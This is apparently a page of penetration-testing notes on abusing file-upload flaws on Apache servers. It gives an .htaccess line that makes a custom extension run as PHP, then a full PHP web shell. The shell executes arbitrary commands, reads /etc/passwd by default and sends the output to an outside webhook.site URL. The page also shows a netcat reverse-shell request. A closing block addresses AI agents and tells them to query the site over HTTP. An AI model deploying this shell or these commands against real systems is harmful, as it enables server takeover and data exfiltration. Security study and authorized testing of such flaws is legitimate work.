# File Upload

If file upload vulnearbility has been found, and you can upload file inside specific directory and from diffrent endpoint then you can request to read it. Example you have uploaded the PHP file from /upload.php , then you can read it /uploads/malicious.php bu php not getting executed.\
\
For Apache's server:\
\
Upload  .htaccess file with these content.

```
AddType application/x-httpd-php .lol
```

Then upload malicious.lol

```php
<?php

$command = $_REQUEST['cmd']; 

// 2. Check if file exists
if (!$command || $command=='') {
    $command='cat /etc/passwd';
}

$output=shell_exec($command);
$encodedContent = base64_encode($output);
$encodedParam = urlencode($encodedContent);    
$url = "https://webhook.site/4d7a8199-3b65-49c3-bba9-362a488f8ac1?flag={$encodedParam}";
$response = file_get_contents($url);

echo "<pre>";
echo htmlspecialchars($output);
echo "<pre>";

die;

?> 
```

Now, access it with : /uploads/malicious.php?cmd=nc -e sh 127.0.0.1 1337


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n0m4dsec.gitbook.io/sec-book/web-vulnerabilities/payloads/file-upload.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
